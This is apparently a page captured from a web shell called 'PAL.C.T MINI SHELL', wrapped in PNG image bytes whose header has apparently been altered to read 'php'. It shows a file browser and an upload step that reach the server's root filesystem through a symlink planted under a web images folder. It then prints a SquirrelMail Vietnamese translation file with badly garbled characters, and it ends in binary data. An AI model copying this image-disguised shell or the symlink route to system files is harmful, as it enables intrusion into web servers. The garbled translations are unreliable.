‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/vi_VN/LC_MESSAGES/
upload
files >> //var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/vi_VN/LC_MESSAGES/lockout.po

# Vietnamese (vi) lockout Translation (SquirrelMail plugin)
# Copyright © 2003-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Clytie Siddall <clytie@riverland.net.au>, 2008.
# $Id: lockout.pot 12736 2007-10-22 21:50:56Z jervfors $
#
msgid ""
msgstr ""
"Project-Id-Version: lockout 1.4\n"
"Report-Msgid-Bugs-To: Paul Lesniewski <paul@squirrelmail.org>\n"
"POT-Creation-Date: 2007-10-23 23:28+0200\n"
"PO-Revision-Date: 2008-03-10 18:35+1030\n"
"Last-Translator: Clytie Siddall <clytie@riverland.net.au>\n"
"Language-Team: Vietnamese <vi-VN@googlegroups.com>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: LocFactoryEditor 1.7b1\n"

#: functions.php:344
#: functions.php:397
msgid "Access denied.  Please contact your system administrator."
msgstr "Truy cập bị từ chối. Hãy liên lạc quản trị hệ thống."

#: functions.php:561
#: functions.php:698
msgid "Unknown user or password incorrect."
msgstr "Ngưá»i dùng lạ hoặc mật khẩu sai."

#: functions.php:702
msgid "Sorry, you did not provide the correct challenge response."
msgstr "Tiếc là bạn chưa cung cấp đáp ứng yêu cầu đúng."

#: functions.php:775
#, php-format
msgid ""
"NOTICE: User \"%s\" (domain \"%s\") has attempted (and failed) to log in %d "
"times in the last %d minutes.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"%s has been LOCKED OUT PERMANENTLY.\n"
"\n"
"To unlock this user, remove the \"%s_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" "
"setting from the \"lockout_plugin_login_failure_information\" preference set."
msgstr "THÔNG BÃO : ngưá»i dùng « %s » (miá»n « %s ») đã thá»­ (không thành công) đăng nhập %d lần trong %d phút qua.\n"
"\n"
"Giá» :\n"
"%s\n"
"\n"
"%s thì đã BỊ CHẶN HẲN.\n"
"\n"
"Äể bá» khoá ngưá»i dùng này, gỡ bá» thiết lập « %s_TOO_MANY_FAILED_LOGIN_ATTEMPTS » khá»i bá»™ tùy thích « lockout_plugin_login_failure_information »."

#: functions.php:775
#: functions.php:779
#: functions.php:786
#: functions.php:790
#: functions.php:868
#: functions.php:872
#: functions.php:879
#: functions.php:883
#: functions.php:957
#: functions.php:961
#: functions.php:968
#: functions.php:972
#, php-format
msgid " --- LOCKED OUT - %s"
msgstr " --- BỊ CHẶN - %s"

#: functions.php:779
#, php-format
msgid ""
"NOTICE: User \"%s\" (domain \"%s\") has attempted (and failed) to log in %d "
"times in the last %d minutes.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"%s has been LOCKED OUT for %d minutes.\n"
"\n"
"To unlock this user before then, remove the \"%"
"s_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" setting from the "
"\"lockout_plugin_login_failure_information\" preference set."
msgstr "THÔNG BÃO : ngưá»i dùng « %s » (miá»n « %s ») đã thá»­ (không thành công) đăng nhập %d lần trong %d phút qua.\n"
"\n"
"Giá» :\n"
"%s\n"
"\n"
"%s thì đã BỊ CHẶN trong vòng %d phút.\n"
"\n"
"Äể bá» khoá ngưá»i dùng này trước đó, gỡ bá» thiết lập « %s_TOO_MANY_FAILED_LOGIN_ATTEMPTS » khá»i bá»™ tùy thích « lockout_plugin_login_failure_information »."

#: functions.php:786
#, php-format
msgid ""
"NOTICE: User \"%s\" (domain \"%s\") has attempted (and failed) to log in %d "
"times.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"%s has been LOCKED OUT PERMANENTLY.\n"
"\n"
"To unlock this user, remove the \"%s_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" "
"setting from the \"lockout_plugin_login_failure_information\" preference set."
msgstr ""
"THÔNG BÃO : ngưá»i dùng « %s » (miá»n « %s ») đã thá»­ (không thành công) đăng nhập %d lần.\n"
"\n"
"Giá» :\n"
"%s\n"
"\n"
"%s thì đã BỊ CHẶN HẲN.\n"
"\n"
"Äể bá» khoá ngưá»i dùng này, gỡ bá» thiết lập « %s_TOO_MANY_FAILED_LOGIN_ATTEMPTS » "
"khá»i bá»™ tùy thích « lockout_plugin_login_failure_information »."

#: functions.php:790
#, php-format
msgid ""
"NOTICE: User \"%s\" (domain \"%s\") has attempted (and failed) to log in %d "
"times.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"%s has been LOCKED OUT for %d minutes.\n"
"\n"
"To unlock this user before then, remove the \"%"
"s_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" setting from the "
"\"lockout_plugin_login_failure_information\" preference set."
msgstr "THÔNG BÃO : ngưá»i dùng « %s » (miá»n « %s ») đã thá»­ (không thành công) đăng nhập %d lần.\n"
"\n"
"Giá» :\n"
"%s\n"
"\n"
"%s thì đã BỊ CHẶN trong vòng %d phút.\n"
"\n"
"Äể bá» khoá ngưá»i dùng này trước đó, gỡ bá» thiết lập « %s_TOO_MANY_FAILED_LOGIN_ATTEMPTS » khá»i bá»™ tùy thích « lockout_plugin_login_failure_information »."

#: functions.php:868
#, php-format
msgid ""
"NOTICE: Someone at %s has attempted (and failed) to log in %d times in the "
"last %d minutes.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"%s has been LOCKED OUT PERMANENTLY.\n"
"\n"
"To unlock this client address, remove the \"%s_TOO_MANY_FAILED_LOGIN_ATTEMPTS"
"\" setting from the \"lockout_plugin_login_failure_information\" preference "
"set."
msgstr "THÔNG BÃO : có ai đó ở %s đã thá»­ (không thành công) đăng nhập %d lần trong %d phút qua.\n"
"\n"
"Giá» :\n"
"%s\n"
"\n"
"%s thì đã BỊ CHẶN HẲN.\n"
"\n"
"Äể bá» khoá địa chỉ khách này, gỡ bá» thiết lập « %s_TOO_MANY_FAILED_LOGIN_ATTEMPTS » khá»i bá»™ tùy thích « lockout_plugin_login_failure_information »."

#: functions.php:872
#, php-format
msgid ""
"NOTICE: Someone at %s has attempted (and failed) to log in %d times in the "
"last %d minutes.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"%s has been LOCKED OUT for %d minutes.\n"
"\n"
"To unlock this client address, remove the \"%s_TOO_MANY_FAILED_LOGIN_ATTEMPTS"
"\" setting from the \"lockout_plugin_login_failure_information\" preference "
"set."
msgstr "THÔNG BÃO : có ai đó ở %s đã thá»­ (không thành công) đăng nhập %d lần trong %d phút qua.\n"
"\n"
"Giá» :\n"
"%s\n"
"\n"
"%s thì đã BỊ CHẶN trong vòng %d phút.\n"
"\n"
"Äể bá» khoá địa chỉ khách này, gỡ bá» thiết lập « %s_TOO_MANY_FAILED_LOGIN_ATTEMPTS » khá»i bá»™ tùy thích « lockout_plugin_login_failure_information »."

#: functions.php:879
#, php-format
msgid ""
"NOTICE: Someone at %s has attempted (and failed) to log in %d times.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"%s has been LOCKED OUT PERMANENTLY.\n"
"\n"
"To unlock this client address, remove the \"%s_TOO_MANY_FAILED_LOGIN_ATTEMPTS"
"\" setting from the \"lockout_plugin_login_failure_information\" preference "
"set."
msgstr "THÔNG BÃO : có ai đó ở %s đã thá»­ (không thành công) đăng nhập %d lần.\n"
"\n"
"Giá» :\n"
"%s\n"
"\n"
"%s thì đã BỊ CHẶN HẲN.\n"
"\n"
"Äể bá» khoá địa chỉ khách này, gỡ bá» thiết lập « %s_TOO_MANY_FAILED_LOGIN_ATTEMPTS » khá»i bá»™ tùy thích « lockout_plugin_login_failure_information »."

#: functions.php:883
#, php-format
msgid ""
"NOTICE: Someone at %s has attempted (and failed) to log in %d times.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"%s has been LOCKED OUT for %d minutes.\n"
"\n"
"To unlock this client address before then, remove the \"%"
"s_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" setting from the "
"\"lockout_plugin_login_failure_information\" preference set."
msgstr "THÔNG BÃO : có ai đó ở %s đã thá»­ (không thành công) đăng nhập %d lần.\n"
"\n"
"Giá» :\n"
"%s\n"
"\n"
"%s thì đã BỊ CHẶN trong vòng %d phút.\n"
"\n"
"Äể bá» khoá địa chỉ khách này trước đó, gỡ bá» thiết lập « %s_TOO_MANY_FAILED_LOGIN_ATTEMPTS » khá»i bá»™ tùy thích « lockout_plugin_login_failure_information »."

#: functions.php:957
#, php-format
msgid ""
"NOTICE: Someone at %s has attempted (and failed) to log in %d times in the "
"last %d minutes.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"Users attempting to log in from %s are PERMANENTLY required to enter a "
"CAPTCHA code when logging in.\n"
"\n"
"To remove the CAPTCHA requirement, remove the \"%"
"s_CAPTCHA_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" setting from the "
"\"lockout_plugin_login_failure_information\" preference set."
msgstr "THÔNG BÃO : có ai đó ở %s đã thá»­ (không thành công) đăng nhập %d lần trong %d phút qua.\n"
"\n"
"Giá» :\n"
"%s\n"
"\n"
"Vì thế má»—i ngưá»i dùng Ä‘ang thá»­ đăng nhập từ %s cần thiết HẲN nhập má»™t mã CAPTCHA (gõ chuá»—i chữ ngưá»i dùng thấy trong ảnh được hiển thị) khi đăng nhập.\n"
"\n"
"Äể gỡ bá» sá»± cần thiết CAPTCHA này, gỡ bá» thiết lập « %s_CAPTCHA_TOO_MANY_FAILED_LOGIN_ATTEMPTS » khá»i bá»™ tùy thích « lockout_plugin_login_failure_information »."

#: functions.php:961
#, php-format
msgid ""
"NOTICE: Someone at %s has attempted (and failed) to log in %d times in the "
"last %d minutes.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"Users attempting to log in from %s will be required to enter a CAPTCHA code "
"when logging in for the next %d minutes.\n"
"\n"
"To remove the CAPTCHA requirement, remove the \"%"
"s_CAPTCHA_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" setting from the "
"\"lockout_plugin_login_failure_information\" preference set."
msgstr "THÔNG BÃO : có ai đó ở %s đã thá»­ (không thành công) đăng nhập %d lần trong %d phút qua.\n"
"\n"
"Giá» :\n"
"%s\n"
"\n"
"Vì thế má»—i ngưá»i dùng Ä‘ang thá»­ đăng nhập từ %s cần thiết HẲN nhập má»™t mã CAPTCHA (gõ chuá»—i chữ ngưá»i dùng thấy trong ảnh được hiển thị) khi đăng nhập trong vòng %d phút sau.\n"
"\n"
"Äể gỡ bá» sá»± cần thiết CAPTCHA này, gỡ bá» thiết lập « %s_CAPTCHA_TOO_MANY_FAILED_LOGIN_ATTEMPTS » khá»i bá»™ tùy thích « lockout_plugin_login_failure_information »."

#: functions.php:968
#, php-format
msgid ""
"NOTICE: Someone at %s has attempted (and failed) to log in %d times.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"Users attempting to log in from %s are PERMANENTLY required to enter a "
"CAPTCHA code when logging in.\n"
"\n"
"To remove the CAPTCHA requirement, remove the \"%"
"s_CAPTCHA_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" setting from the "
"\"lockout_plugin_login_failure_information\" preference set."
msgstr "THÔNG BÃO : có ai đó ở %s đã thá»­ (không thành công) đăng nhập %d lần.\n"
"\n"
"Giá» :\n"
"%s\n"
"\n"
"Vì thế má»—i ngưá»i dùng Ä‘ang thá»­ đăng nhập từ %s cần thiết HẲN nhập má»™t mã CAPTCHA (gõ chuá»—i chữ ngưá»i dùng thấy trong ảnh được hiển thị) khi đăng nhập.\n"
"\n"
"Äể gỡ bá» sá»± cần thiết CAPTCHA này, gỡ bá» thiết lập « %s_CAPTCHA_TOO_MANY_FAILED_LOGIN_ATTEMPTS » khá»i bá»™ tùy thích « lockout_plugin_login_failure_information »."

#: functions.php:972
#, php-format
msgid ""
"NOTICE: Someone at %s has attempted (and failed) to log in %d times.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"Users attempting to log in from %s will be required to enter a CAPTCHA code "
"when logging in for the next %d minutes.\n"
"\n"
"To remove the CAPTCHA requirement before then, remove the \"%"
"s_CAPTCHA_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" setting from the "
"\"lockout_plugin_login_failure_information\" preference set."
msgstr "THÔNG BÃO : có ai đó ở %s đã thá»­ (không thành công) đăng nhập %d lần.\n"
"\n"
"Giá» :\n"
"%s\n"
"\n"
"Vì thế má»—i ngưá»i dùng Ä‘ang thá»­ đăng nhập từ %s cần thiết HẲN nhập má»™t mã CAPTCHA (gõ chuá»—i chữ ngưá»i dùng thấy trong ảnh được hiển thị) khi đăng nhập trong vòng %d phút sau.\n"
"\n"
"Äể gỡ bá» sá»± cần thiết CAPTCHA này, gỡ bá» thiết lập « %s_CAPTCHA_TOO_MANY_FAILED_LOGIN_ATTEMPTS » khá»i bá»™ tùy thích « lockout_plugin_login_failure_information »."

#: functions.php:1012
msgid "User account:"
msgstr "Tài khoản ngưá»i dùng:"

#: functions.php:1013
msgid "Domain:"
msgstr "Miá»n:"

#: functions.php:1014
msgid "Timestamp: "
msgstr "Nhãn giỠ:"

#: functions.php:1032
msgid "[POSSIBLE BRUTEFORCE ABUSE]"
msgstr "[CÓ THỂ BỊ LẠM DỤNG BỞI SỨC MẠNH VŨ PHU]"
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚